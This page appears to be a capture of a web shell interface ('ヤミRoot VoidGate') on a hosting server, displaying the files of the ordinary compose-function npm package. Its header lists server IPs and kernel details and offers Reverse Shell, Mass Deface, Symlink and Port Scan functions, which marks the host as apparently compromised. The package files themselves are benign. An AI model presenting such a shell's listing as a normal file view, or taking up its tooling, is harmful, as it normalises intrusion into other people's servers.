ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
fixtures
/
assert
/
Viewing: compose-function.tar
LICENSE.md 0000644 00000002044 15120014102 0006132 0 ustar 00 Copyright © 2015 Christoph Hermann Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. README.md 0000644 00000004435 15120014102 0006013 0 ustar 00 [](https://travis-ci.org/stoeffel/compose-function) [](https://www.npmjs.com/package/compose-function) [](https://david-dm.org/stoeffel/compose-function) [](https://coveralls.io/github/stoeffel/compose-function) <h1 align="center">Compose-Function</h1> <p align="center"> <a href="#installation">Installation</a> | <a href="#usage">Usage</a> | <a href="#related">Related</a> | <a href="#license">License</a> <br><br> <img align="center" height="300" src="http://33.media.tumblr.com/006dfad04f93ec5b3680ec7cdae3fafa/tumblr_n8kgl18uU41qcung4o1_1280.gif"> <br> <sub>logo by <a href="http://justinmezzell.tumblr.com/">Justin Mezzell</a></sub> <blockquote align="center">Compose a new function from smaller functions `f(g(x))`</blockquote> </p> Installation ------------ `npm install compose-function` Usage ----- ## Basic usage ```js import compose from 'compose-function'; const composition = compose(sqr, add2); // sqr(add2(x)) composition(2) // => 16 compose(sqr, inc)(2); // => 9 compose(inc, sqr)(2); // => 5 ``` ## with curry ```js import compose from 'compose-function'; import { curry, _ } from 'curry-this'; const add = (x, y) => x + y; // add(6, sqr(add(2, x))) compose( add::curry(6), sqr, add::curry(2), ); // map(filter(list, even), sqr) compose( map::curry(_, sqr), filter::curry(_, even), )([1,2,3,4,5,6,7,8]) // => [4, 16, 36, 64] ``` ### `::` huh? If you’re wondering what the `::` thing means, you’d better read this excellent [overview](https://github.com/jussi-kalliokoski/trine/blob/5b735cbfb6b28ae94bac0446d9ecd5ce51fb149b/README.md#why) by [@jussi-kalliokoski](https://github.com/jussi-kalliokoski) or have a look at the [function bind syntax proposal](https://github.com/zenparsing/es-function-bind). Or checkout the [curry-this docs][ct]. Related ---- * [curry-this][ct] License ---- MIT © [Christoph Hermann](http://stoeffel.github.io) [r]: http://ramdajs.com [ct]: https://github.com/stoeffel/curry-this index.js 0000644 00000001743 15120014102 0006200 0 ustar 00 'use strict'; Object.defineProperty(exports, '__esModule', { value: true }); exports['default'] = compose; // istanbul ignore next function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; } var _arityN = require('arity-n'); var _arityN2 = _interopRequireDefault(_arityN); var compose2 = function compose2(f, g) { return function () { return f(g.apply(undefined, arguments)); }; }; function compose() { for (var _len = arguments.length, functions = Array(_len), _key = 0; _key < _len; _key++) { functions[_key] = arguments[_key]; } var funcs = functions.filter(function (fn) { return typeof fn === 'function'; }); var lastIdx = funcs.length - 1; var arity = 0; if (funcs.length <= 0) { throw new Error('No funcs passed'); } if (lastIdx >= 0 && funcs[lastIdx]) { arity = funcs[lastIdx].length; } return (0, _arityN2['default'])(funcs.reduce(compose2), arity); } module.exports = exports['default']; module/index.js 0000644 00000000711 15120014103 0007460 0 ustar 00 import arityN from 'arity-n'; let compose2 = (f, g) => (...args) => f(g(...args)); export default function compose(...functions) { const funcs = functions.filter(fn => typeof fn === 'function'); let lastIdx = funcs.length - 1; let arity = 0; if (funcs.length <= 0) { throw new Error('No funcs passed'); } if (lastIdx >= 0 && funcs[lastIdx]) { arity = funcs[lastIdx].length; } return arityN(funcs.reduce(compose2), arity); } package.json 0000644 00000004631 15120014103 0007021 0 ustar 00 { "name": "compose-function", "version": "3.0.3", "description": "Compose new functions f(g(x))", "main": "index.js", "scripts": { "clean": "git reset && echo '/node_modules/' > .gitignore && git add .gitignore && git stash save --include-untracked --keep-index '`npm run clean` trash can' && git clean --force -d && git reset --hard && echo '\nclean: Uncommitted and ignored files have been moved to gitâs stash. To restore them run `git stash pop --quiet; git checkout .gitignore`.'", "coverage": "rm -rf coverage && npm run test:transpile && cd .es5 && istanbul cover test.js && mv coverage ..", "coveralls": "npm run coverage && cat ./coverage/lcov.info | coveralls", "develop": "nodangel --ignore node_modules --ignore coverage --exec 'npm run --silent test:lite'", "prepublish": "npm run --silent clean && npm run transpile", "patch-release": "npm version patch && npm publish && git push --follow-tags", "minor-release": "npm version minor && npm publish && git push --follow-tags", "major-release": "npm version major && npm publish && git push --follow-tags", "test": "eslint --ignore-path .gitignore .; npm run test:transpile && node .es5/test.js | tap-spec", "test:lite": "babel-node --optional es7.functionBind test.js | tap-spec", "test:transpile": "rm -rf .es5 && babel --optional es7.functionBind test.js test/*.js --out-dir .es5 && babel module/*.js --out-dir .es5", "transpile": "babel module --out-dir .", "view-coverage": "echo 'Generating coverage reports…'; npm run coverage >/dev/null && echo '…done.' && opn ./coverage/lcov-report/index.html >/dev/null" }, "repository": { "type": "git", "url": "http://github.com/stoeffel/compose-function" }, "files": [ "/*.js", "/module/", "/README.md", "/LICENSE.md" ], "keywords": [ "function", "compose", "functional" ], "author": "stoeffel", "license": "MIT", "bugs": { "url": "http://github.com/stoeffel/compose-function/issues" }, "homepage": "http://github.com/stoeffel/compose-function", "devDependencies": { "babel": "^5.8.21", "babel-eslint": "^4.0.10", "coveralls": "^2.11.4", "curry-this": "^3.0.2", "es6-symbol": "^2.0.1", "eslint": "^1.2.0", "istanbul": "^0.3.18", "nodangel": "1.3.8", "opn-cli": "1.0.0", "tap-spec": "^4.0.2", "tape-catch": "1.0.4" }, "dependencies": { "arity-n": "^1.0.4" } } test.js 0000644 00000000031 15120014103 0006036 0 ustar 00 import './test/test.js';
Coded With 💗 by
0x6ick